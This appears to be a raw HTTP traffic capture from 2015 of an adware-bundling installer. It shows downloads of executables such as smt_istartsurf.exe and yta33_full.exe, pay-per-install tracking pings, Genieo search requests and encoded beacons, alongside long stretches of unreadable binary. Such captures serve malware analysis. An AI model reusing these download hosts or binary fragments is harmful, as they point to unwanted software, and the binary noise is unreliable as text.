E.....^...~X..r....p.......`;...td..U..........Z...o.y.B8|.f.C.'HM..eo
..@.(:..).Q..SC.R.[..[7.JW............v. H.../....{[...........g......
`...@ [email protected]]. AQ........z=&.x.\...o....y
...o......q....s.=8P..}q.F.^"......S.z..%...S.........m.l`.\...._..E.C
..D.....H............'...%.G.....C.\a^l.,r.t.>.....7.o..o9..&....8C
n.H...c).....y..B....{.m8.......9..c..^....h.}...Vnb........K.m`..<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=335664-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 335664

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 335664-671327/671328
..M.u..C.PWj.Q..;.......M.....E...;..}..t)[email protected]....;..._
^[..].3.......E._^[..]....V......Q...............t.Q..h..G.Q.........7
...^......^.........V........Q............W..(......t.Sh..G.Q.b......_
.7...^..O..A..G...t......_^.h..G.......h..G.R............u..B.........
._^.......W3...b...t.Qh..G.P.........7..._.............QRP..G..j.j.j.j
.j.j.j.V..j....,3........_........U..3..}.....t..8...3........]...U...
..SW.}...8......T............E..M..E.....u..l..._[..]..{..t.S........_
[..].V.M..U.R.E.PSQ............uk.{8..M.t....t..U........M...tM.C8H...
.......$...E..........QW.S..........u ..8..........t.S............z...
..^_[..]......(.................V.....QW..............................
`.....Q............3....H....y....I.m-E.v-E..-E..-E..-E..-E..-E..-E..-
E..-E..-E.....V.0Wj.j.3.....H......(......G.t..._^............U.....SV
.u...W..(...3..}.....6...9.,.....*....M...t..................9.p......
...9.,.........9.D.........9_.u ............t.h..G.....H........h..G..
...H.............u._^.C.[..]...T....U.RWSPV.L.......E...t.S....H..E...
._^[..]..E.;.t....... ................l...S.. .....$.......H..........
............}....G...t.P....H.....G..........._^..[..]._^3.[..].U..V..
....$......(...t...............D....Q...,....t...D....t.V.............
....u.WV.w/.........U......^].......U...}..V.u.W......u .G,..t........
t........u........W......GTPV.|[email protected]@...._3.^]....
........U..V.u.W.}.VW..........u.9.t..._^]..0.._^]......U..QV.3Wj.....
.j.V.FP.FT..B..j.j.V..B..j.j.V..C..j.j.V..B...E.P.........4..u.9.t<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.38615138464093273 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:19 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..

GET /yandsearch HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Date: Fri, 15 May 2015 23:04:50 GMT

Location: hXXp://yandex.ua/yandsearch?rdrnd=955722&lr=147&redircnt=1431731090.1

X-Yandex-Items-Count: 10

Cache-Control: private

Set-Cookie: ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626; path=/; domain=yandex.ru

Content-Type: text/plain

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Length: 0

HTTP/1.1 302 Found..Date: Fri, 15 May 2015 23:04:50 GMT..Location: htt
p://yandex.ua/yandsearch?rdrnd=955722&lr=147&redircnt=1431731090.1..X-
Yandex-Items-Count: 10..Cache-Control: private..Set-Cookie: ys=wprid.1
431731090183831-1343673348614201681811797-sas1-5626; path=/; domain=ya
ndex.ru..Content-Type: text/plain..X-XSS-Protection: 1; mode=block..X-
Content-Type-Options: nosniff..Content-Length: 0......

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:53 GMT

Last-Modified: Mon, 27 Apr 2015 14:56:24 GMT

ETag: "e0ede-6fb-514b5f31db600"-gzip

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/plain

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Length: 504
..........}.M.. .....9X9X..l.v..Z.v/.w...&....$..........<..;0|....
_..v.(.W..u..../.....z.A.N....B.&./E.L...J ..z..6...y...&,..a...m...xC
...<.W_...(=.~.....OV.O..v..Y.j....0.p.....G..]...4V ....|....C.; O
[email protected]>..).`.y6.3aQ..yD\N...<.../.80...?.7. J....B.-
.R#e...$........i#....o.O].bx.p...M.*.\....J....-..;s..V.K1..&"..8D.9!
..=Q.lt.M..c..[...q.j.~....D...Q'..!SL4CAsVJ.7h4..s'..-...%p.>....u
......k....Q3....X.....Y3....LY..T.....[x.}#.....w.aU?.....yC..A...;..
......Y..Z........'.....K....HTTP/1.1 200 OK..Date: Fri, 15 May 2015 2
3:04:53 GMT..Last-Modified: Mon, 27 Apr 2015 14:56:24 GMT..ETag: "e0ed
e-6fb-514b5f31db600"-gzip..Accept-Ranges: bytes..Vary: Accept-Encoding
..Content-Encoding: gzip..Content-Type: text/plain..X-XSS-Protection: 
1; mode=block..X-Content-Type-Options: nosniff..Content-Length: 504...
.........}.M.. .....9X9X..l.v..Z.v/.w...&....$..........<..;0|...._
..v.(.W..u..../.....z.A.N....B.&./E.L...J ..z..6...y...&,..a...m...xC.
..<.W_...(=.~.....OV.O..v..Y.j....0.p.....G..]...4V ....|....C.; O.
[email protected]>..).`.y6.3aQ..yD\N...<.../.80...?.7. J....B.-.
R#e...$........i#....o.O].bx.p...M.*.\....J....-..;s..V.K1..&"..8D.9!.
.=Q.lt.M..c..[...q.j.~....D...Q'..!SL4CAsVJ.7h4..s'..-...%p.>....u.
.....k....Q3....X.....Y3....LY..T.....[x.}#.....w.aU?.....yC..A...;...
.....Y..Z........'.....K......<<< skipped >>>

GET /32252.ashx?e=xZXl1pX5gRk5015vZaqaD/3jI8Lhhn0aQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaWN5QUBVog6 eUaSn PKsCGAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoZvexgeT02d5gFrrHZIkT07CPXfs0VGOutK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUShk/gGCmqZPZua0qaNRZzqVyeEjxCyoP0GbKHsMThLvzP8wrMbNKWJGXO0HAFwG1R7Qc7lJh uHebZZiKi64b1faQyCq7DrsmXNtOW7Zday9rCVSgOD pjAKNPoaDrBh6/v/Hm2KcpYHy1S9Ab35kZ/TvhUEvA3 3MoS/fu50NJ4btJZyNF/hC 3M747DWtvGa5KT2RnSJJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:49 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:49 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /32252.ashx?e=F94QJJu2atmidLNtGGzWYaNzv4moofQ 1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f0i8Ncgi JrdnybChyDNa6NRYWqdbL0ug8/YT/CC0O0kymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhcbDgzccadBEh8h5o3YrXrbLSflwInKoSmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:53 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:53 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /ThawtePremiumServerCA.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.thawte.com


HTTP/1.1 200 OK

Server: Apache

ETag: "1ab19b318f9a4b3a8082e3bb6a74c632:1431724246"

Last-Modified: Fri, 15 May 2015 21:10:46 GMT

Date: Fri, 15 May 2015 23:06:18 GMT

Content-Length: 6467

Connection: keep-alive

Content-Type: application/pkix-crl
0..?0...0...*.H........0..1.0...U....ZA1.0...U....Western Cape1.0...U.
...Cape Town1.0...U....Thawte Consulting cc1(0&..U....Certification Se
rvices Division1!0...U....Thawte Premium Server CA1(0&..*.H........pre
[email protected]!....T..W...p
.[..%...100322161038Z0!...!P..6{[email protected]!...Da\v.....
.....%..130920062728Z0!...>.e..-...s[.2I...140418142220Z0!........d
.{#E..9`...130926061856Z0!....6..q.'tT..1.Q...130926062249Z0!.........
...>..i....130528164218Z0!..........#.P.......130716072254Z0!.....%
.......R......100801221434Z0!.....M..HK.....x....130926060355Z0!....k.
"..z......64..130919082450Z0!...W..._....%..I....130926063253Z0!..._._
~gq.I.)[email protected]!.....=X>...][email protected]!...
 .(........n.S...130923202627Z0!.....:...B..=]Hsx_..130920011556Z0!...
.>.ITt.Aw%*I.....130918091937Z0!...U...z7.....UK.n..150330151829Z0!
..........1S..Pp....130925105017Z0!.......x.G.....=....130926064912Z0!
....d....... ..=....130911111649Z0!.....f.....F."E.....100527143439Z0!
.......B...Y..;..S..130925185558Z0!..........G.1.......100624153158Z0!
...=.;...........`..130924105544Z0!....e..8..3...h1[|..130905162920Z0!
...d.[,tpLq..o.; ...100528183707Z0!...c.$.?.._..4..O...130905193529Z0!
......V..T].Y..:|...130304224528Z0!....Xy..MnW.G..f.t..130810133109Z0!
.....c.8..vX....ue..130930185946Z0!...o. ...a4?...s3...140409095630Z0!
..._...!?Y.K..3..K..130929003638Z0!...aa].!.ya..)......130930170744Z0!
........h....xf..Y..130523222209Z0!...,.:E...8H>N...o..13092606<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/8806904

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7.....................F............... ....@.........................
.........................................!..5...D ..<....@...=.....
......J...............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected]....@...@...>..................@..@................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................U....x...SV.....W...
...V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...
{.........PV..( @[email protected]..$ @.Sh....j.SS......h...@P....
..E.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u.
.x..t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j.
.E.Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@
...8"[email protected] [email protected]..< @.....E.P.E.PSSSSS
......SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t

<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/8806904
..p...m... c...4$..j.k-8........i............dU....M.5..WS....z.|....{
...4..k.Fp.P..6..S.h.....-#8.\}H..Z..3.....;.|....PL~....M{*.....F.{.%
.p4.............]l,.HwI.B .....dG...$.......'hQ.Bk.D.2 EI..&.$..V"..8.
..X.GH....a}...r.Q.$D...Ll..$\.4..y...03.Q...*V.z..&q.....<..W|....
F....i.O......;<.N.$.Aw......].'i.D..2Z..w.QCw....1...5...*y..H.$..
_..vs%.Hs....\.N0rT.......M.B.)S...[...Z.H.q.@M9.`....M.......(.$....}
v...0$....'>..k=.....!6.......O...6.(...-...8........?.!...H....|..
..............#.b....q.. *.....yzg......=t...`...~..r1L..m......C...%.
.wsR._..hRcr_..K...C.....fi.....M.f.v4..9..J.`1....DD..;....N.N~..A..*
..7......s4..;@....h<H.t....Y=....u.H*a.F.F...9...o...<.T......M
v.\<g|[email protected]*HF.A8V.B..C...^..\.q....Qk~..^
.3e/.;...w.......cn...W.....d^...L.v...x....nL......o..m~....44&......
%.W..!.).G{)...W>uf.. ......J...'t.ctX."|w...H.M.|..#...eW.|......r
 a3.....s[....Qj{7.a$..a.j....l.......C..!;....iS.R".`..hZ,t_...[%Yc.|
..G...Q..7..bl\y...*.kq............A3...D.......t 6.c.. .5K....Q......
..8F...e........s$....9..s...i. ...Q.8l...6.Z.ag.p..{Wxm.?k..nB!....m.
..o...tI..-C>......h.....q....c6.......}..c}.UI..q..&tc.eJ[....,..@
J....w.{........\..._ $.,5. ..5...c..5......Ek.....6.....=w ....J.G.|.
[email protected]".m..z..........H.......E..
.m.;.?M>.j...}.OV.... ..Z].Y\.6l....T..7. .jm..-..l....z.d..6#.....
 .3.....g.^..>.%......E...8...*.-..D4.<...{W...e.....s.l! ..d..V
..E6. ....SU..2.h(.!.E....X...A...v.Na..9.7..^m.....~.."i.zW......<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/8806904
.9...-..I .m... .........h.....GC.$sNq..e68.J.B...r..0<....3.......
..^.&...k.....HDt......kO.....E).\k...<......u... [email protected]...}b.
$%.'.o....`...>[....."$..Id.i.=...f....Y.....;...C.IG...Bo._.....r.
....h..'../".b.N.........i.8..60] ^W.....K.4.`Z..0-..2._.g]..y....TXE.
.Bk..F.....Z~.)./...-F.A..y..Fpa.w._.=.Y..(`.v..jQ.q.J.....&....e(.!n.
...n.>...V..S...k. .C:...w=..T.:...F.N....-.H....X..X.IF.....dl.:..
>S.w...u_".H.....b...G.......a....[....Qv..;....r4......v@........\
....o.......3...y.Hz.30.....F....6...D.U...%.l.(...).J].....P...W..../
......b....YGC...r..#o...].X}xM.!...P.F....k.........'|.9g..t..0yO]..T
...s.d}..1..n..VsE..@.:.....zS.P.Q...m9f.>%.1..n..V....e.....eE.V..
...H..,.X;.a....."KA.i{[email protected]
O.Hx.n.....83_B.[........#Y.Q...'...bL..V..V..F..-.dpz;..#...G...QG...
.(..K.a.y. .$c..%...A{g...8<...3.]...G..a"B.0.....G....NO.r./....C.
.J4'....J...?..i../......S(.C..3D.......MY.NA/.<....fu(<.GdG.O.*
....3.G..Df..8v..dUzx4..>..!..2t...}..K....I,..'..I.N..S.~...G.6...
[email protected]%.0. ..f.!o2Q..:*.9.E...Z..)4.j....B.A/I.n.J~~....
.:e..."]`. IBD7.T.*_...C..u(.P........\.q.QC...wv.N...%..m.A.....U..}.
1...fP<..a.$....pu.....l..wC..^p... l.2|!Hmm-r......VP".6@.^v~...=.
>....^<...s............z>...k7nR.G.....sm(.T..p'.)F.....W..A.
....d.......8:....#...o..2.M..N..=..L....Z.Z#.......y...N..py.h..l"X..
:.4......F.D.!...s.P. f.w..GeG*.2....l. ?........ .}....J,X].{Vt...= &
lt;...E..\._2..._.9J ...C]...[.j..i./..|X.:_^<.... .v].&!..i$.{<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/8806904
..)f7.2....O...{............>\......5R.zkwM..F....K..'.~.Ku-.K.v...
7E......H.[..w.b..ez.>\.(..>..{<]Z0o..w....d......d...`W.*...
........N7k<.I.. .GmT.c....^.V..........1........j.}3....y....u~...
i<..8..$".)?.]XK.[........._.f..,...G...Xv....:........M[..s.......
....7_...{MN....|..4.....w....QcK...I......R...f..9...?._..q...z..M..v
.......7xl....A...F......pn...=...._.1|..db.A............J%i4^.....|N.
Wy.`.....p'W...).....f..K..nU..... ...*U.]..7.j.{..........8.,..B.h.qY
.m.7.b.jK...O3.?M!.p.I.F5.b.[r.6m....v.t3,3...w..........g...>.....
W.....O., .g...^0.`..v.....6..........v.-.[`w..Q...a.hu....N...C.0. .C
[email protected]..{(..L..!..K....q.Up.8.(..6...8 ...u.-.^.....\..
|.....1.p..U...wc.........q.^.S..)...o.F#.!...E..N.....)..=.8.v.....].
S.WK?m.3g.w..`..I...a.L.."w...4Z.4Z.'..8..8.|...p..9l.m..........1....
y..4F.fS...8W...y....p..q..hN............u..........Y>. ..T%h...k.q
e..(...UT.U....KEe..#.k.:.:.A..|...4.....I....k.K  .=...w8..3....Q..".
B...N..'...G2<.?.t......Y...=..-*.n}..`.s..J.7.....[....;,.... ..0F
..[.....yY\.....Y.........&8....9.{|...bts....Ztik.ue.../....|Q.H..|..
....S.y..L..!.Kn2/P.os..].0.bz.......G,h../-.j..............?...2....x
...s...n.?....mAK.oX.e.......]^.>...L.90&5r.Y_L......=S......2sj.9u
.9...........k..na.3..[..u..."...cH|/.&>....5.Lt:......w-X....n.iY.
B...6.<.{M.J.....?r.H..gf'....g...\....U...n...h.e{.0f.}..,...~.j4.
....V..o.;.L....O....j...........{...'i....x.r]._......]..y.....2.....
*H..1.9b.b..s...{.....\A.p"....?~...y9Uw..r....).9....W....'....T.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2250000-2499999/8806904
\]<BWE...S..;...f:..*.!.......,.-..\."..."3....18......[;E!$.5Bx...
..(.]Bn.X..u ..O5"j;.b.G._.dQFuy...X.&>'B0Hm...A..^"XY8.`Qq.... ...
.zr..D..p8#cQp..B............*[email protected].*.]$<.. B ..b...5..S..
[email protected] ...Z..8.ba.....I..N(P..H..7.%.R..]...k.N:....D..UR...@*.
X.0tjBj2 ........z...'..PD.|..LB.U..4....{.M..e.EC.U...".]...N..P...q.
.U...7U.^4ldV.@..(.$vV#H...R|U.kT{Rr.5k$.YhN:...pM5m"q...(...$$...0>
;.C.....3....oD.6>a{b.............(;.m>..G...}....mJ..h.X.=.U...
`.@.:7drn......a.....p8b(..... B.....a..P.P..i.....A%?..).......}..C..
m..|..w.G....,[email protected].^>^$TH.......GM!.k..5.....X.
H/.*6.~..?..#.:.N...(n.L...=...4.p*.:.N.'..Pi\.x.Fp.MrCk..\&.GE..\.y..
...Y.`>./s.L.....(.LUp./K.b..T..."4g...Z.LVk..56. U..m.....uA.5.1p.
.J.q.\......<.Z...>.H...&| v4D..V.d.B.]6.....!..._ .......z.....
.o.[.5..xW...8(..Y..<......!<...K....1lkF..._....i:7.h0...,.. ..
[email protected].....}f.b.i2.G...e".m...5.........a...4...E...y@bQ.
Y1..4}.K/.^c......y....&..}.\[email protected]@...ig...&PF:..
....G.L..................tc`M`......jCnUW...X`.d..x..{.x..4....Ic1....
.....M...W...Jk..ZXG...-, U9.myv\......Hm.6..M..*d.t5.5..~V.)....?l..f
..C{.j.X.BW....B Qik>.C\........=....[..b..g...lo.A..d,.u...zFJqy.`
.>7.7d......b....n.m..>4....~.j*.....p...L.pzX.TO...9..........&
lt;.\..D..~3....B..&?...i....>F.3cMa=..][email protected].,.Xk.k.M#
.h.I.5G>.......F...f...'G.........Jj...... ..m3 @b..A............C1
........<9....t..#..m.....?..n;.Gq..C^c.1o.....^..S....J0..9..L<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2750000-2999999/8806904
.yu..#.[". ...z...q>.........E..Z}$?..3...hG-U..M.g...A<D.....Cq
....C.?.....?.............;......b{Ge...`OP...8.....r...N.....jC......
.S....t...V.....>..........n...;...x..m..<X..v...)..N..:...."w./
5~.{....x..=..>Q....{d......Sd#.:...."..{.Nr...?.s7._....F..J./..z.
.......x6...k.g.. ...eA.../.i..........T..S.....Da...2v..Q....t......P
x.../N.jL.\.V...6....ZHq.m...c......b...k. .RH..>.N..5... .....F)g3
.......n.i...........H..6|<..Kj<..x....b...-.#Cg...{..l......*..
>.[.i..c.K...&n...W...37.Q..b<...S.?... K8...gx\.,d....r.f{..^{=
v...s...(..N.?S)..|[email protected]".l.g{....@..;....... ..#.{....m.......
AZ5.z..(....... .#.zH...g..)G.)..V0,..Z.h!....,.A...6..../....s..&..&l
t;...J~...y...g..<..x..u..y.F......y..........^.!L.....C......=E.[.
[email protected][..zn.c...9..."Z.o....-........=Fw.?......v...w.H..
./RR.7....|.v#.,..P.9..[...w.).Zwm8..4...}....w/?'.n8......K.o:....w..
.....N...kgsM.k..yu#t.A..yu.:...........O^.Z{.....A...?e.fv...|.N....9
....P...W...._.9...S9...#.L....._.U.....:.]x\R.....#.kBFX~..},.......=
...&/.2......C..k....SpT.O.QI~..&-.Jw% ......Z6DK~....@~5....E.....X..
...._o...c._)......H.Q..' .G.,=..._S..._..h...r..... .....c._.N......g
......e*Zz..]....=>8bQ*.\0.jz...n..} ..#...zp..G...p......v.!(...E.
........c(kj...G.........E..*...5.I..]9z.NJ...d&.......N:M.|..,^.. ...
.R...a...S......{ESy..c...u|.y?..W.......{.c.$.f.%........O..v...._.%?
..J..StM...m...c.M_R.s....w.q..RT-...:zT.'...w.{>{.I.lfd...|(......
.E..,...9'x...E.l..F...{.n>......_...X~seAR......yx.%,.K.8.y.RA<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/8806904
.. ...1..p..n.....];...o.\....k..V..#8..$.2....'[email protected]..|
[email protected] .s{!m....9r.......>.em..'P..>.S...._.Y.........6..b{5...
.w~.e.0.mc'3..A....x.T..........Xg....O.k[...iy6c......u"...$B$.`!/.$.
.3..........|.0...<.2 v...>..Xc.kt..(V.....;..p.....Hky....y<
S...\..3.......'a..%....M....-.R...s...g(_....cC.]..*.........S...V.p.
..0..D.|v..5!..i......1..'.18.{..v.......m....T.:w.i....7-.....l.k....
&..i.N7g..(.f8.q..}....R|.q.:[email protected]....!?.Z3f.~..
E.|1.......N.."..4.f.."..".>..kvT..q..muA....q.2.".....E...KNn...t.
3..w.h....s........K./.?.F$..v.d/...,.GG.........V]"...........Z.i.e}W
_....k.^...s,.... ...f6.8.?....7.._B>...x..=...y^.......Y.{...,..{.
.Se*i=Z...........d6...E. ..}.Y. ....|..v...(..A.N.<f8...N.9.......
.y... .....i..7@./..p...M..z~{&.;#.=....dp.......u..r...7{...{.(s.....
k...rZ5\;G.,....-.y....dDD..."5.....~...:.h...W.I.....0".bl.6& .{.....
@F.Q. .....,.(....Rw..{zcq".<...Q....A#R'.2.h..,s.*.'|ns..L.!n.n...
....t/...5..p..z..S=.L3......FO...N....?!ks..b.}j.....'.....^.'"#.|U..
......`F........T.....q..1.......... N.y8m.J<.Or....S......H.\,....
K..V...~..NaH...H..N...G.xs.S....H.I..p9|9O..>P....}.c....t...oL...
.$.........6H...5...p[.F5m..7F]&.....p..hmN..2...).W.......t.y..0#...&
